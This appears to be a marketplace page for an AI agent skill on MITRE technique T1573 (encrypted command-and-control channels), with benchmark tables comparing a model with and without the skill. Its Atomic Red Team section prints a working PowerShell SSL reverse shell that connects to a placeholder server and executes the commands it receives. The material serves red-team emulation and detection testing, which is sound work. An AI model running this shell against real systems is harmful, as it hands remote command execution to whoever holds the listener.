Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.
.claude/skills/cyberstrikeus-t1573-encrypted-channel/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-06 | ✗→✓ | ▲ Improved | -30% | 0% |
| case-08 | ✗→✓ | ▲ Improved | 62% | 0% |
| case-10 | ✗→✓ | ▲ Improved | 8% | 0% |
| case-11 | ✗→✓ | ▲ Improved | -12% | 0% |
| case-13 | ✗→✓ | ▲ Improved | 61% | 0% |
Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Platforms: ESXi, Linux, macOS, Network Devices, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.
Supported Platforms: windows
powershell$server_ip = #{server_ip} $server_port = #{server_port} $socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}') $stream = $socket.GetStream() $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback])) $sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false) $writer = new-object System.IO.StreamWriter($sslStream) $writer.Write('PS ' + (pwd).Path + '> ') $writer.flush() [byte[]]$bytes = 0..65535|%{0}; while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0) {$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data | Out-String ) 2>&1; $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
If Atomic Red Team tests are not applicable, manually verify the technique by:
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.
| Finding | Severity | Impact | | -------------------------------------- | -------- | ------------------- | | Encrypted Channel technique applicable | Low | Command And Control |
| CWE ID | Title | | ------- | ---------------------------------- | | CWE-300 | Channel Accessible by Non-Endpoint |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-01 | fail→fail | 26,608 | 29,637 | +11% | 1 | 1 | 0% | 3,535 | 5,233 | +48% | 0 | 0 | — |
case-02 | fail→fail | 28,461 | 21,369 | -25% | 1 | 1 | 0% | 3,316 | 4,703 | +42% | 0 | 0 | — |
case-03 | fail→fail | 27,203 | 16,954 | -38% | 1 | 1 | 0% | 3,335 | 2,960 | -11% | 0 | 0 | — |
case-04 | fail→fail | 14,028 | 19,607 | +40% | 1 | 1 | 0% | 2,207 | 3,385 | +53% | 0 | 0 | — |
case-05 | fail→fail | 13,693 | 27,016 | +97% | 1 | 1 | 0% | 1,765 | 2,788 | +58% | 0 | 0 | — |
case-06 | fail→pass | 14,796 | 7,864 | -47% | 1 | 1 | 0% | 2,486 | 1,751 | -30% | 0 | 0 | — |
case-07 | fail→fail | 19,733 | 21,405 | +8% | 1 | 1 | 0% | 3,041 | 3,955 | +30% | 0 | 0 | — |
case-08 | fail→pass | 21,628 | 21,011 | -3% | 1 | 1 | 0% | 2,417 | 3,907 | +62% | 0 | 0 | — |
case-09 | pass→pass | 20,573 | 9,072 | -56% | 1 | 1 | 0% | 2,051 | 1,789 | -13% | 0 | 0 | — |
case-10 | fail→pass | 18,213 | 8,396 | -54% | 1 | 1 | 0% | 1,614 | 1,747 | +8% | 0 | 0 | — |
case-11 | fail→pass | 14,649 | 5,858 | -60% | 1 | 1 | 0% | 1,787 | 1,575 | -12% | 0 | 0 | — |
case-12 | pass→pass | 10,431 | 4,699 | -55% | 1 | 1 | 0% | 2,086 | 2,148 | +3% | 0 | 0 | — |
case-13 | fail→pass | 17,878 | 22,085 | +24% | 1 | 1 | 0% | 2,211 | 3,561 | +61% | 0 | 0 | — |
case-14 | pass→pass | 13,446 | 8,273 | -38% | 1 | 1 | 0% | 1,013 | 1,801 | +78% | 0 | 0 | — |
case-15 | fail→pass | 21,179 | 7,594 | -64% | 1 | 1 | 0% | 2,693 | 1,620 | -40% | 0 | 0 | — |
case-16 | pass→pass | 6,251 | 10,430 | +67% | 1 | 1 | 0% | 1,067 | 2,047 | +92% | 0 | 0 | — |
case-17 | fail→pass | 16,910 | 9,458 | -44% | 1 | 1 | 0% | 1,868 | 1,520 | -19% | 0 | 0 | — |
case-18 | fail→pass | 15,827 | 7,920 | -50% | 1 | 1 | 0% | 1,697 | 1,645 | -3% | 0 | 0 | — |
case-19 | pass→pass | 17,882 | 10,661 | -40% | 1 | 1 | 0% | 1,883 | 2,016 | +7% | 0 | 0 | — |
case-20 | pass→pass | 19,043 | 7,658 | -60% | 1 | 1 | 0% | 2,031 | 1,689 | -17% | 0 | 0 | — |
case-21 | pass→pass | 20,678 | 7,779 | -62% | 1 | 1 | 0% | 2,817 | 1,794 | -36% | 0 | 0 | — |
case-22 | fail→pass | 21,499 | 18,586 | -14% | 1 | 1 | 0% | 2,945 | 3,579 | +22% | 0 | 0 | — |
case-23 | pass→fail | 15,980 | 16,122 | +1% | 1 | 1 | 0% | 1,880 | 3,101 | +65% | 0 | 0 | — |
case-24 | fail→pass | 11,451 | 16,120 | +41% | 1 | 1 | 0% | 1,938 | 3,010 | +55% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 24 cases were attempted. The headline lift of +38 percentage points is the difference between those two pass rates over the 24 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.